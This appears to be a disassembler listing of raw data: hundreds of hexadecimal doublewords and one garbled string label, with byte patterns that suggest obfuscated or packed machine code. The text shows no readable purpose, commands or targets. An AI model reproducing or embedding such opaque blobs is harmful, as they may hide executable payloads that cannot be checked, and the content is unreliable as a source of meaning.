		dd 5890FDFh, 0BB000000h, 30054D23h, 7E9h, 0B9E26E00h, 0C0C9CB43h
		dd 0FD8C680h, 0E380FEB7h, 72D281D1h, 0E916DBFAh, 11h, 4DB1F909h
		dd 8F093AC7h, 0DDF10E4Ch, 7EA853FEh, 0CFB966A2h, 0BE92Ah
		dd 0C31D0000h, 53F8B7BCh, 9691ECE2h, 0C88B6657h, 0A2C9DEB8h
		dd 9E846h, 74A00000h, 0A9443BC9h, 8B18BD67h, 0FE95EF3h
		dd 0F4000000h, 30E4EFAh, 7C217E99h, 71F94985h, 8B0F8364h
		dd 2, 66F8FD8Ah, 0E937FAB8h, 12h, 0F5E53D4h, 38EDBD1Ah
		dd 51DF6B3Ch, 7F7AD49Eh, 8B661C0Dh, 0F8C9B3D7h,	8E9h, 0D585E000h
		dd 9007B027h, 7E851E8h,	1C000000h, 82FC2741h, 5F503C54h
		dd 81665B58h, 0F595CEEh, 0E84h,	9E900h,	0E530000h, 0B172FDAEh
		dd 0FF0FF30h, 82h, 0A19BBB00h, 0BF0F04B7h, 60C68BD0h, 1850Fh
		dd 61F50000h, 584220BBh, 0C881664Fh, 0BF0FBE9Dh, 8CC780DBh
		dd 0DE8BF18Bh, 8F0F50h,	58000000h, 98BA6653h, 860F5AF6h
		dd 0Ch,	6870Fh,	0C1810000h, 498DEB2Ch, 14E9h, 61D6EB00h
		dd 70D628CDh, 3C58E8B5h, 0A5A04B8Bh, 0EE422F62h, 0DE8B6620h
		dd 8AF88B66h, 0D1B260D7h, 8E851h, 49D60000h, 7A839A14h
		dd 5F586034h, 0B36EB861h, 0FB8B0249h, 6840Fh, 8A600000h
		dd 616160F7h, 0B866F9F5h, 8B669AA1h, 0FC78AC2h,	0C8Eh
		dd 5E800h, 3DE80000h, 0F9B7CB11h, 0F1BF0F58h, 5800Fh, 26BE0000h
		dd 600431AFh, 81FE8B66h, 0AB24A7F3h, 10E96116h,	0EC000000h
		dd 70B8FF28h, 8D329E87h, 7D5C16E2h, 0BF1A0516h,	0B700004h
		dd 81F08B66h, 107278E0h, 0B966F85Dh, 0B9663A4Bh, 0EB81039Eh
		dd 15467191h, 42B52DBFh, 0AE9523Eh, 4D000000h, 2BE260A3h
		dd 245FF62Ch, 81665A49h, 81B208CEh, 2FC146CFh, 0B70F6018h
		dd 0B971BFCAh, 0F6172E8h, 18Bh,	0CE9F800h, 2B000000h, 39F7C93h
		dd 0E32E5D78h, 8B194C50h, 0CC5FBECAh, 0BF663B9Ch, 0B8661313h
		dd 27B8F071h, 807A6714h, 0BE826D3h, 29000000h, 0C3E1D250h
		dd 112EDB20h, 8B66D796h, 0DE8B59F8h, 0CE9h, 0D63800h, 0E6EEB078h
		dd 0E0171F47h, 0D88B66D9h, 0DE8h, 55E08300h, 1280C743h
		dd 0C794DFBh, 0F600E29h, 82h, 12E800h, 1E3C0000h, 0A63E6C0Bh
		dd 0C003E7C8h, 1421A6D9h, 0E04731F2h, 6058615Ah, 0F88B6660h
		dd 0E96161F5h, 0Dh, 0EA9825h, 0AD817BCCh, 36AEF9BCh, 0D0B70FA3h
		dd 3EADBE66h, 5870F60h,	0BB000000h, 6D07B38Dh, 12E9h, 0E4950B00h
		dd 27A29551h, 5FC3C647h, 67846EBh, 61506E10h, 0AC78166h
		dd 0B6ACBBE6h, 850F00C4h, 11h, 0CE9h, 0C80DF300h, 8D200594h
		dd 0B6B75AD8h, 880F59h,	50000000h, 5FCEB70Fh, 487349BAh
		dd 0FC28B11h, 287h, 5061B000h, 8EF3C281h, 0E9596F72h, 0Bh
		dd 3462C8BBh, 0B310A1E8h, 0FC76D73Fh, 56D7E281h, 6E95D08h
		dd 0D6000000h, 5323BCEFh, 61FCBEFFh, 0EE906C2h,	44000000h
		dd 8A748BC7h, 130B4379h, 0C7E66E0Eh, 669CB34Dh,	7257C281h
		dd 0B70FC78Bh, 14830FD8h, 0E8000000h, 8, 0D44A1EEDh, 43BFE176h
		dd 840Fh, 805A0000h, 0BFFC24DDh, 1DD261DBh, 880FFE8Bh
		dd 19h,	14E9h, 0FD9E3800h, 31D66E2h, 9FB8E4F6h,	0D95596AFh
		dd 76BF2E61h, 0FD98BAAh, 383h, 0DBB70F00h, 0CFA3EF81h
		dd 5E51123Ch, 255E781h,	840F3F95h, 15h,	10E9h, 0B5544100h
		dd 12631EA4h, 0DEA3234Ch, 29DD2A6Dh, 8B5360FDh,	0EE958F7h
		dd 7D000000h, 0E2F3B641h, 368F934Ch, 4FA557D2h,	8E96113h
		dd 71000000h, 0F97A261Eh, 605FA90Ch, 66F6F280h,	61F906BEh
		dd 0E924C080h, 11h, 14C5D667h, 96C448B6h, 0B21931CCh, 6A2CFFFCh
		dd 0CB8B667Dh, 0F38B6660h, 0AE860h, 10A0000h, 9D9D799Ch
		dd 161FC099h, 8E95Fh, 4C8E0000h, 0F03AFCFFh, 6161A95Bh
		dd 0C73FC181h, 0FE92D09h, 91000000h, 2E9CE0B4h,	42139F4Ch
		dd 0ADAB336Ah, 0BE9D68Eh, 0E3000000h, 262F46E8h, 2A8FB779h
		dd 6E915E7h, 0C7000000h, 0B62E9DEh, 0F880F30h, 0E9000000h
		dd 0Ah,	0D23E006Ch, 7A6978EFh, 0C9811FB2h, 7C25CCEAh, 0A2BA6660h
		dd 0FDB9662Ah, 850F6128h, 3, 66F7BF0Fh,	0CD95C081h, 77AAB860h
		dd 0BF0F7749h, 0CF8061F8h, 9E9E2h, 918F0000h, 424EE637h
		dd 0E9D07A97h, 5, 65EA7746h, 0F28B661Bh, 0BF66D68Bh, 8B667DF3h
		dd 0C3B360D9h, 61F18B66h, 2800Fh, 0D5B40000h, 10E853h
		dd 0E72B0000h, 53BCFF0Ch, 0B82E1046h, 2B6499B9h, 8C0FA5DEh
		dd 0
		dd 0FE8B5A5Ah, 66DF8B66h, 0DEB2C88Bh, 860FD68Bh, 8, 2810Fh
		dd 0F98B0000h, 9E9h, 0A1667E00h, 423D4B26h, 50B39A64h
		dd 8E9h, 0D29FC500h, 91733146h,	0F9B70F53h, 0F8CCE80h
		dd 384h, 5FC18000h, 38D0F60h, 0F000000h, 5A51D2B7h, 830F61h
		dd 66000000h, 57AA91B9h, 583FCB80h, 10E8h, 2196A300h, 0AAA0CAA4h
		dd 0BEAB4E81h, 8FA84A3Ah, 584CB1F5h, 0CE9D38Bh,	19000000h
		dd 63264988h, 0B4DE589Ah, 0E8BA1337h, 0Ah, 0A55F7D87h
		dd 622F02C7h, 0BB668AA1h, 0BA5A5482h, 28916705h, 640572BEh
		dd 0F60517Eh, 80h, 890F00h, 61000000h, 7820F5Ah, 0F000000h
		dd 18Eh, 8C0FF500h, 0Ch, 6860Fh, 0EE810000h, 0E89271h
		dd 0B86653F9h, 0BB5EE788h, 22B11AF6h, 4D91EA81h, 80515103h
		dd 0F5FE0E4h, 181h, 6E8FC00h, 0D5000000h, 0D88ACDDBh, 0DE85E21h
		dd 36000000h, 0F09C4245h, 0C028F70Dh, 5E2A34D4h, 3870Fh
		dd 0BF0F0000h, 0AE958FFh, 0AE000000h, 62D77B8Ah, 963AB79h
		dd 0BDFCB806h, 0E2B72DBCh, 5E9h, 46AE4900h, 6E93B85h, 0DC000000h
		dd 26B1F030h, 0DA8166DBh, 0DA812F1Ch, 273CA07Bh, 810F5956h
		dd 5, 2FC78166h, 0FFE8A96h, 38Dh, 0FA8B6600h, 0DE8h, 3A0CD400h
		dd 0F2ABE2E0h, 0DA8BED8Eh, 0C38BABD7h, 8161605Bh, 2F06F7DBh
		dd 660AB409h, 669190B8h, 8C0FD98Bh, 2, 0B70F58B4h, 8A0FC2h
		dd 0B3000000h, 0D5F18169h, 60672C12h, 76CF8166h, 0E961F838h
		dd 0Ah,	5AF8087Bh, 790A1D57h, 870F78C3h, 4, 5F68B657h
		dd 8BD38166h, 5830F6Ah,	0BE000000h, 5D828291h, 9A18E681h
		dd 0E9816EE1h, 247727FAh, 0E81BB966h, 0C830Fh, 7E90000h
		dd 41000000h, 23A6FBFDh, 810FC37Dh, 13h, 0BE8h,	0B406700h
		dd 0E2F2775Eh, 60A34D55h, 5358DE8Ah, 5E9h, 5A21B400h, 8059EDF6h
		dd 6650B1D6h, 5833A3BBh, 5FBBBF66h, 8E9h, 1A7D7800h, 909F53C3h
		dd 0E970B510h, 6, 290E141Dh, 34BA2608h,	0E96B6346h, 9
		dd 1EAE518Fh, 0E0306CC5h, 0EE878h, 0D4710000h, 0B0AF69F7h
		dd 496BC61Fh, 0D7ED8257h, 10800Fh, 0BE90000h, 77000000h
		dd 1D814B0Ah, 8BA98004h, 805A1846h, 8C0FA2E5h, 0Ch, 6810Fh
		dd 8A0F0000h, 0
		dd 0DBC3BB66h, 29C38166h, 8890FDEh, 0F000000h, 28Bh, 505E5700h
		dd 0B7FCCE81h, 605A4858h, 8E9h,	0A9630B00h, 0D375DC04h
		dd 0BE93Eh, 62260000h, 419C6932h, 8E52ADA7h, 0CEB0610Dh
		dd 0A6E38166h, 10E8EBh,	0A4BD0000h, 99597F66h, 0AEEC11C4h
		dd 9FFE7193h, 0CF8B8095h, 13E86058h, 72000000h,	0EC72C644h
		dd 8765EE01h, 8D3591FDh, 0F8CE8F1Bh, 0CB816EB0h, 1B6ACDB8h
		dd 0EE958h, 12CC0000h, 5E8AA3AFh, 0EE4AC20h, 103C8F79h
		dd 0E0DC8061h, 5EF9B853h, 8A5F09A8h, 816651E7h,	58624DE6h
		dd 60B6E880h, 0D7809BB1h, 0FF961ECh, 68Bh, 6FEF8100h, 0FC53F22Ah
		dd 7E9h, 75AEB600h, 54F2C95Dh, 3860Fh, 0BF0F0000h, 669DB5C0h
		dd 60B2C7B8h, 61FE8B66h, 19810Fh, 14E90000h, 0AF000000h
		dd 0AED53236h, 20F3DCDAh, 916E136Bh, 0B745AD00h, 0FB0370Bh
		dd 987h, 3880F00h, 66000000h, 0EC8AD38Bh, 6653DE8Bh, 5625D681h
		dd 0C3B7BA59h, 6E86973h, 65000000h, 0BCA1DCF0h,	0EE8EDh
		dd 0BE1E0000h, 0A896D37h, 5F9C52Dh, 0A0B182B3h,	840Fh
		dd 5B580000h, 3E5FB960h, 880F3B33h, 5, 60C08166h, 0BE9616Ah
		dd 63000000h, 0BAAB6A6Ah, 0BECF7CE3h, 0E8F869F6h, 8, 0CF1DFA3Dh
		dd 6FDBBF29h, 0AF2AB866h, 0CF8B6659h, 1B3EBEF5h, 0BF66306Fh
		dd 9E919C9h, 6000000h, 39AA88E4h, 0B9E47D0Ah, 0B8C0Fh
		dd 870F0000h, 5, 0DCEF8166h, 7E959h, 0ED8E0000h, 0ABD7DA8Bh
		dd 12E811h, 0CF8C0000h,	0F5BC494Eh, 0EC00CA84h,	9E521DAFh
		dd 0BE5A9917h, 2BF28060h, 0C0B85A61h, 812F4051h, 2FA20FDBh
		dd 0BB16035h, 8C39D081h, 0F614030h, 789h, 1860F00h, 0F8000000h
		dd 0C3C38166h, 0E9D98BCFh, 10h,	67BB7373h, 3015966Fh, 84030BD3h
		dd 0D03165C8h, 58F0Fh, 66600000h, 0E961C68Bh, 10h, 1F93DC7Ah
		dd 7B64A983h, 717DD939h, 3DD97920h, 5F05B750h, 4830Fh
		dd 0B8660000h, 0E960CBECh, 0Ah,	498AE438h, 72C8AB10h, 6056F9AEh
		dd 0B8615F61h, 31D434F7h, 0AE9h, 9E7A0D00h, 4C3C8B8Fh
		dd 0E8A456A5h, 0Fh, 3A37452Dh, 6AED6799h, 0B4AC1034h, 6696191Dh
		dd 605BFB8Bh, 0E961D58Ah, 0Ah, 88BF6076h, 0CD90123Fh, 60505A61h
		dd 8DF8BE66h, 2131F7BFh, 0E95F6179h, 12h, 52D4A61h, 0F67C1CAFh
		dd 294E6F6Fh, 1364C148h, 0E95647B1h, 10h, 0A155EE31h, 4E69447Bh
		dd 88E767C3h, 2C563DF7h, 0D78B6659h, 6E9h, 99C0C300h, 0F79D0CDh
		dd 8166DFB7h, 0E8324FDAh, 6, 8185849Eh,	0BF0FB397h, 0F38158C8h
		dd 5197BC24h, 0CBB70FF8h, 38F0Fh, 8B660000h, 0E48060D0h
		dd 6105B391h, 8B0Fh, 8E90000h, 6E000000h, 45AD0091h, 80370BB7h
		dd 0FC53D8D7h, 8CF3805Ah, 4CEB8166h, 50EBBEA3h,	0B70F6543h
		dd 66C28BC7h, 890FFE8Bh, 3, 6061F560h, 13E9h, 2AE61B00h
		dd 0EECDF718h, 3E2A14D9h, 9EB0854h, 90A9E7FEh, 800Fh, 0E9610000h
		dd 0Ch,	9BFDA1FFh, 0E250994Dh, 2CC7CF7Bh, 7E9C68Bh, 0AA000000h
		dd 3754FB5Bh, 0D38B6633h, 0FC6BF0Fh, 9E8DAB7h, 2D000000h
		dd 248539CFh, 3BC5B77Fh, 0BA6058F8h, 2A89316Fh,	666147B7h
		dd 60566DB9h, 8E0Fh, 0BA660000h, 0F610DF1h, 1285h, 0DE900h
		dd 0E2290000h, 8873D21Ah, 0A94DAB93h, 507CDBDEh, 952E96BAh
		dd 0BE95879h, 62000000h, 0D7B731C2h, 1B8A4EBEh,	0BF0FC832h
		dd 9BC080C3h, 87EB8166h, 3880FAAh, 0F000000h, 0C880FFBFh
		dd 0C6ED80CBh, 52FC181h, 0DE90EC6h, 8B000000h, 4EC53037h
		dd 2BD3D0A7h, 0F66B47Fh, 0C280E0B2h, 38E58079h,	12E8h
		dd 0A829EE00h, 87324864h, 0CDBCEF0h, 0C3813913h, 58523E80h
		dd 0E18166F9h, 72B60A7Dh, 0C7CE8166h, 6B1CBE80h, 0C38001C3h
		dd 8810FE5h, 0F000000h,	287h, 0E8595300h, 0Eh, 0F884B307h
		dd 76F38A16h, 0C2231D46h, 816637A8h, 59D9BADEh,	78A0Fh
		dd 66510000h, 0F0FFF181h, 6E95Ah, 70EB0000h, 7EDD71F0h
		dd 68B0Fh, 0E1810000h, 43EB0E87h, 66B0F580h, 0FCEBE081h
		dd 0EE9h, 86A5BC00h, 62D0F029h,	5853AEACh, 0F364B41h, 0BF0FD6BFh
		dd 8B6660F8h, 6661F9DEh, 5D5ED881h, 5CF08150h, 58476810h
		dd 3860Fh, 8B660000h, 0CAC681FAh, 0BF3DF892h, 3EA67511h
		dd 9B41C281h, 0BA662E34h, 0B70F0EE0h, 2870FD1h,	8B000000h
		dd 0DB8166C1h, 81568E49h, 0DC2796E6h, 81665923h, 81E287D8h
		dd 678434C2h, 0EEF58000h, 8CE2BB66h, 0E9BCD881h, 0E9565601h
		dd 0Ah,	7723C0EDh, 9D9C85A1h, 0F5E6B82h, 580h, 0B70F6000h
		dd 8B6661CAh, 0EE8DEh, 0E4990000h, 5B3B06E5h, 45FE770Ah
		dd 0D86C1DAh, 60F18B58h, 0EA7ABBF9h, 53614690h,	7E8h, 0FE984900h
		dd 795746E0h, 0C2AFC781h, 5B5E6293h, 9E8D38Bh, 42000000h
		dd 946ECCA5h, 16101E53h, 0B14AE881h, 665E1EFBh,	5889D081h
		dd 0D78B6660h, 0DB815661h, 2177EDB6h, 0CDD78059h, 9E9h
		dd 4217600h, 1404A194h,	0C28175D7h, 2DD425CAh, 142BBE66h
		dd 0BDEA8166h, 2820F30h, 8B000000h, 6E9CEh, 1C0E0000h
		dd 0A22D29ADh, 14E9h, 0E5154D00h, 4EB018ADh, 0F586F9A4h
		dd 1399396h, 269065B1h,	0C78B6634h, 0DE8h, 97144400h, 374640CCh
		dd 8C165285h, 890F310Eh, 2, 0F95B5956h,	1850Fh,	0FF90000h
		dd 589h, 0F0B9B800h, 0BA66016Dh, 8166B759h, 0E9351CC8h
		dd 11h,	27110199h, 0FBEA64Ch, 1D27187Ah, 9B74FA5Ah, 0AE9BAh
		dd 41D90000h, 0B3515A7Ah, 0DFD4D92Eh, 0C8BBB866h, 57D2C980h
		dd 10E9h, 7DD93900h, 0D9792071h, 0B3FB583Dh, 32831238h
		dd 11E95B60h, 47000000h, 102BD665h, 524EF65Dh, 9CD725D1h
		dd 452C7077h, 2FBE5953h, 81257530h, 6170D9D8h, 0D78B661Fh
		dd 0E92FEF80h, 0Fh, 0A911ABD7h,	4687E86Ah, 2CDC8D5Ch, 0B93AA411h
		dd 3F6B678Eh, 12E86CB4h, 5D000000h, 602DA7C1h, 0CC0308Ch
		dd 35038AC6h, 8BB0FBB7h, 8B66523Fh, 815B5EDAh, 986C43F3h
		dd 7E83Bh, 0AC530000h, 5C0D3FA9h, 0C1BF0FE2h, 0C781665Bh
		dd 0F5F8E036h, 0E881D08Bh, 1F0A0B9Ah, 0F80D480h, 2680h
		dd 11E800h, 110E0000h, 0B887AAF6h, 10981B28h, 0CB52CC0h
		dd 0E9A1E425h, 0Ah, 25D00935h, 0F8C6D20h, 605B0978h, 5E9FCh
		dd 0A0070000h, 61934341h, 0FFB70F60h, 61CBB70Fh, 0EE8h
		dd 0B395F800h, 2A5FFC12h, 429AED57h, 5608756Bh,	6E9h, 0D1CC3600h
		dd 5FCA311Fh, 0F850F5Eh, 0E8000000h, 6,	0C730697Eh, 0DF8083A7h
		dd 8B665AD9h, 38F0FC6h,	80000000h, 0B70F4BD6h, 58A0FD6h
		dd 66000000h, 0CC84EE81h, 5E58BF66h, 81D2BF0Fh,	0AEF3E6CFh
		dd 18B9667Ch, 0CE807h, 0FD390000h, 610D6223h, 7A801F1Ah
		dd 850F9D93h, 3, 5FD0DA80h, 0E52AB6BFh,	0D1816675h, 67BE6367h
		dd 0E9100AC6h, 12h, 2304B628h, 9009F51Bh, 0D2A22EDAh, 0AD972BEBh
		dd 10E9C2C2h, 28000000h, 6946BAE4h, 29A3A4A8h, 3DD0F10Bh
		dd 60F992C9h, 9BF78166h, 0E861FC78h, 14h, 0BCBED582h, 8ECC4560h
		dd 6E4890A7h, 3D968738h, 0FDCBA7FFh, 5B616056h,	38B0F5Bh
		dd 66000000h
		dd 0E8F8FB8Bh, 0Eh, 0F31C3436h,	0EA7025E0h, 0A539AFA8h
		dd 8B0F41B1h, 16h, 10E8h, 49687500h, 7FAFBE46h,	0C69E7368h
		dd 0D31BF1A4h, 665F5B44h, 1E3ED381h, 0FF5AFB1h,	58Dh, 0F1816600h
		dd 6660C3CFh, 8C0FC68Bh, 2, 0E8615F56h,	7, 8AEE0C68h, 0E956FCBBh
		dd 0Ah,	0FD6AACBEh, 0D3A5B3D6h,	5759E8AEh, 0B79CF181h
		dd 0E9594746h, 5, 0A75A28A1h, 660BB2FCh, 0F29B9BFh, 583h
		dd 9786B800h, 0D3814415h, 1FFBC1C9h, 0FD3B70Fh,	0EB81D3B7h
		dd 27A6E2B1h, 9E9F9h, 2C60000h,	74F88278h, 0FF8F081h, 483h
		dd 0BEB86600h, 0AE43BE87h, 0B7FC2342h, 0F8BF0F58h, 76B6D2BBh
		dd 5800F57h, 0BF000000h, 36429183h, 82E38166h, 6E97Ch
		dd 10E60000h, 5125238Eh, 0C88B66FCh, 6DBA6660h,	0C18B668Bh
		dd 0FE861h, 0B4C0000h, 0DB2F31EAh, 0F3F39DBFh, 0EE8C7609h
		dd 79DE810Ah, 58213C39h, 0E9DEB70Fh, 5,	84343E0Ah, 0CCBA662Bh
		dd 0D0816664h, 0AB5C6FCh, 986B966h, 8166FA8Ah, 0E95263C3h
		dd 0Dh,	1FA5A7C9h, 0F8BD87A5h, 9CD4A839h, 0C88B66C2h, 6146E0BAh
		dd 0E2EC805Eh, 74B9EAB8h, 9E86034h, 4C000000h, 9AC76D3Dh
		dd 671E4034h, 850Fh, 615A0000h,	80D68B66h, 13E86DC1h, 0B6000000h
		dd 0FC63F092h, 23205BEh, 38684EACh, 4C429571h, 0B85210F3h
		dd 60E3E457h, 0FD8A5A5Ah, 18810Fh, 0E9600000h, 0Eh, 3AC6D40h
		dd 0DD70CEF7h, 17DC1EE7h, 0E080A817h, 0FF961B1h, 2086h
		dd 1A800F00h, 0E8000000h, 14h, 0B997D716h, 0BC5C72Eh, 0CACB6EADh
		dd 5E4B90Dh, 68633CF0h,	93B9665Ah, 0F7B70F20h, 0E980F98Ah
		dd 1F5AB885h, 57B139EEh, 5E9h, 6CEBBD00h, 11E8FB1Eh, 3C000000h
		dd 5C7BD98Fh, 65A1D790h, 30820080h, 224D9AA6h, 7E9h, 902A2E00h
		dd 0A75F2F75h, 0BAD88B5Fh, 301FDFB5h, 3B99BF66h, 8F0F6060h
		dd 0
		dd 6880F61h, 0F000000h,	8Eh, 810F6100h,	0Ch, 68C0Fh, 880F0000h
		dd 0
aFbPdfbc	db 'f│оPdf│Фэ',0
		dw 6060h
		dd 0DF81CF8Ah, 785BE9CBh, 0FA8B6661h, 830F6061h, 6, 800Fh
		dd 0FE80000h, 10000000h, 41D4BBE2h, 9FDD58AFh, 1110EFBAh
		dd 0CF802D00h, 0BB615BC0h, 7F80A084h, 9898EB9h,	8F0F2Dh
		dd 0B3000000h, 0B70FF550h, 0E9D78AFFh, 5, 0FF003319h, 0CD2EB800h
		dd 22B0426Fh, 482CBA66h, 0CAF78160h, 611846EEh,	0A7C38166h
		dd 0B70FF995h, 7E9C6h, 1C540000h, 90560913h, 0E08166C1h
		dd 0BF0F43DEh, 0FEB70FDAh, 5E9h, 72482400h, 0F181CA2Eh
		dd 2897BAEEh, 8B664CB0h, 1442BBD0h, 0FC8A53DCh,	0B840Fh
		dd 860F0000h, 5, 93C18166h, 0F7BF0FEEh,	0C3C68060h, 8D0F5661h
		dd 3, 5ADAB70Fh, 38E0Fh, 0BF0F0000h, 0D78B66F6h, 0BF0F60F5h
		dd 61F78BDEh, 9E9h, 0C1424800h,	1E80E3DEh, 66603327h, 0B8084FB9h
		dd 62FCDE63h, 7DBB6661h, 0BF66606Dh, 666023E9h,	0E80EA5BEh
		dd 0Ah,	4C3DE5A5h, 0B24E1654h, 615B318Bh, 0D38B6661h, 97D38060h
		dd 0AA4BD181h, 80610C27h, 880F9FD4h, 5,	0A8D98052h, 0F8BBFC5Fh
		dd 0BE3B6826h, 7C5B70DFh, 5F5A5150h, 80FFBF0Fh,	8B66F0E8h
		dd 0D28166FAh, 8166FBC1h, 80DBECF3h, 0D381D7CAh, 4CAB0A32h
		dd 0FD0BF0Fh, 787h, 81665300h, 5FE400D7h, 0F987ED80h, 81C1B70Fh
		dd 48131FCFh, 0B81DB31Eh, 1ABE6FE8h, 0E2CF8166h, 0E6816625h
		dd 8166AE5Ch, 0E919F0E3h, 8, 9691ECE2h,	399B4957h, 0CE8h
		dd 0D0EFFA00h, 0E00C7A2Bh, 9D25D784h, 9E9BB891h, 0E95A7D1Eh
		dd 11h,	0D69C2863h, 0FCBE151Ch,	0C50234Bh, 18A97FF6h, 0B7D68B2Ch
		dd 119EBED3h, 6060335Ch, 0B4BDF681h, 0C281633Ah, 772EDBFCh
		dd 61FB8B61h, 0E978B660h, 0Bh, 0CB5538BCh, 9C3A604Bh, 618B7A48h
		dd 10E9h, 82A1EA00h, 0C1EA3B47h, 7D32C36h, 9046D35Dh, 8196B011h
		dd 43E320EBh, 77B96663h, 5E8EAh, 20A00000h, 66E8159Eh
		dd 58C587BFh, 0A8F0Fh, 0F600000h, 87h, 61C18B00h, 8C0FD98Bh
		dd 3, 0E9F2BF0Fh, 10h, 0FD050B7Dh, 0FBA3EE17h, 80DBC2DCh
		dd 0F47B71E6h, 0D7C18166h, 11E852D1h, 1D000000h, 0D10567C1h
		dd 0AA21A476h, 8CB62088h, 2FDAF3AEh, 0BCEDB966h, 48B75E5Eh
		dd 70BB5060h, 59352172h, 0BE861h, 4EE00000h, 0C684A114h
		dd 0F6E873B2h, 0DE963h,	5ED90000h, 0A6A076B5h, 0A58CE38Ah
		dd 59A10396h, 2FDF81F8h, 802BC155h, 81663AECh, 51339EE9h
		dd 81665AF5h, 66EDE9F1h, 0F7EEF081h, 0FE9h, 4C8F0900h
		dd 0FEDDF10Eh, 0A27EA853h, 7EC9F1C2h, 8F0FFE8Bh, 5, 278FE4B8h
		dd 11E93Dh, 0D84E0000h,	7E9FC165h, 30A294EFh, 0E091CE86h
		dd 0E81AC393h, 0Eh, 7215483Dh, 0EF43FD19h, 0E0838803h
		dd 0BF0F4355h, 9E85BF2h, 84000000h, 384AAA9Bh, 4B5D2F23h
		dd 815F5E53h, 12637DDAh, 7E947h, 0D00B0000h, 69FF5F37h
		dd 7593BBE7h, 81662FE3h, 0B82F14E9h, 3F12994Ah,	0F46E080h
		dd 68Fh, 890F00h, 8B000000h, 0EB8166CEh, 0C3B40F88h, 0B8A0Fh
		dd 0F600000h, 8Bh, 0CBBF0F00h, 60F78A61h, 420E31B9h, 21B96140h
		dd 8A0EC160h, 3ADF81FDh, 0BE2D1C43h, 0BD3CCDh, 0C8BF60FCh
		dd 665CD878h, 0F61C38Bh, 8166DABFh, 0E966F1F0h,	0Dh, 0B6243649h
		dd 0F89CCA58h, 8BB4727Eh, 42EE81E3h, 8B45C3BFh,	0FFBA66D9h
		dd 3DC181B1h, 81257A51h, 0CD9FDEEAh, 0E9FA8B46h, 0Ah, 0E125F34Fh
		dd 966C438Ch, 58529A44h, 81D38B66h, 480939D3h, 505BBE36h
		dd 96BF062Fh, 8B59360Eh, 5E8D3h, 9D180000h, 0F4C34E6h
		dd 48Eh, 0B5B96600h, 0B3B85B46h, 8A3742C8h, 0BDB750D3h
		dd 0FCE98158h, 0F0CA486h, 0C80h, 68F0F00h, 0F000000h, 8Bh
		dd 0C8816600h, 0FA8B1078h, 0D18B66FCh, 15840Fh,	10E90000h
		dd 51000000h, 0FE984902h, 795746E0h, 0BC6117D6h, 662F972Dh
		dd 60E199BBh, 0BB55EF80h, 6B057230h, 92EB8061h,	0E9DA8B66h
		dd 0Eh,	69EA73F4h, 0E21CF5E4h, 0F1E7164Fh, 0BA66E874h
		dd 0FCF5D937h, 9E9h, 20E86D00h,	80AAE956h, 800F9CDFh, 1
		dd 0F88B66FCh, 0FE8h, 384D2800h, 9964971Ch, 667E8499h
		dd 3D4B26A1h, 25CF815Bh, 6673BA66h, 0CA6CF181h,	66C68B66h
		dd 0F08ACF8Bh, 0CF92C681h, 8B662E96h, 9E9C2h, 1F660000h
		dd 0CEADEB7Ch, 6659BDAEh, 0FF885BEh, 148Ah, 0FE900h, 5FA80000h
		dd 68E1A926h, 0AC26B8F5h, 317D19F2h, 0DEBF0F58h, 5840Fh
		dd 81660000h, 66FE7FF3h, 8166D78Bh, 6083E7CFh, 0BE9FA8Ah
		dd 7B000000h, 0C2C98D43h, 0F0B42146h, 0E86150F5h, 8, 3D4573A5h
		dd 0C402DAECh, 0E944B459h, 5, 0AB4E81AAh, 97BE66BEh, 0BBBFBA1Ah
		dd 24B852ECh, 0E95E5417h, 0Ch, 1F80EA18h, 0B24BADD6h, 0FCA89146h
		dd 3F41BB66h, 28C0F60h,	60000000h, 81536161h, 70AF4CF2h
		dd 0DE95A60h, 57000000h, 0C75B165Bh, 98977028h,	44C63E0Ch
		dd 0FD2B70Fh, 1185h, 0CE900h, 0EC30000h, 0E6A55C5Eh, 0F68CFE8Ch
		dd 606066FFh, 816655B2h, 61BCE4E3h, 61C3BF0Fh, 0EE803B5h
		dd 3A000000h, 1268D8DBh, 0E3FEEDD3h, 39752260h,	1EC28083h
		dd 0FE9605Ah, 81000000h, 0A859F2Eh, 0F64B81F1h,	6129093Ch
		dd 8A61E49Eh, 0EE9E3h, 934E0000h, 8EC24111h, 0CA99A73Dh
		dd 0B261F503h, 5659B360h, 860Fh, 615E0000h, 0D3BF0FF5h
		dd 3048D381h, 0AE80747h, 59000000h, 49FC8427h, 0F8D0C6C2h
		dd 0C3BF0F52h, 5017B258h, 6803D181h, 0E9586E64h, 0Dh, 0ADE93390h
		dd 0D8797154h, 9593B2A6h, 860F60DCh, 2,	0D6815953h, 242091FFh
		dd 0C3816661h, 8B66B59Ch, 55E281F9h, 0E95021BDh, 14h, 110D128Ah
		dd 0B7547Bh, 0B785CA53h, 0FFD56DCBh, 53BA7BCFh,	7ADABB66h
		dd 5F576060h, 8C0Fh, 0E8610000h, 7, 0C2E2C11Eh,	5FF3E0B1h
		dd 42B96661h, 0BE9D3h, 3E8C0000h, 0C8719546h, 0CA6649C8h
		dd 0D681F8DAh, 0C916359h, 0C8BF0F51h, 0CE859h, 3B490000h
		dd 5EF2DBC4h, 6D0CFD98h, 0DEBBA3C0h, 5A085B5Ch,	12E8h
		dd 53C31A00h, 810909Fh,	0D20A6C77h, 0F749CBC3h,	59AE67C4h
		dd 361ACA81h, 66FC2A9Eh, 8166C18Bh, 80009FD7h, 8166E7E3h
		dd 664890E7h, 0F954A7BEh, 66527BB3h, 0BF5BD68Bh, 5906FB5Fh
		dd 8166D68Bh, 0FE2DEEAh, 386h, 0D88B6600h, 7E9h, 56A97500h
		dd 0F34A67F0h, 0D7814FB4h, 6D3F7B60h, 0FC3B70Fh, 0CEBEF0BFh
		dd 8A74E6B7h, 0F5153F4h, 87h, 0F55F5800h, 0C810Fh, 890F0000h
		dd 6, 0BE6CF381h, 850F6A86h, 2,	9E8C68Bh, 6A000000h, 6548AD95h
		dd 0F9F901B1h, 0E3816660h, 0B70FF73Eh, 0F95F61C9h, 12E9h
		dd 16199D00h, 0CB76AE39h, 20A19832h, 1CB91509h,	0FC1FEB46h
		dd 6820Fh, 8F0F0000h, 0
		dd 0D64BCB81h, 86B31B74h, 860Fh, 0BA660000h, 870FF37Bh
		dd 14h,	7E960h,	66630000h, 1101993Ch, 890F27h, 61000000h
		dd 7E9h, 0FBACA500h, 5DCDD457h,	0C201B966h, 0F5F9BF0Fh
		dd 9E9h, 0E1913100h, 87DB17C0h,	0FF86EC3h, 0C28BC8B7h
		dd 28B86660h, 61FCB0C1h, 0E961F960h, 8,	6051E9DFh, 460F580h
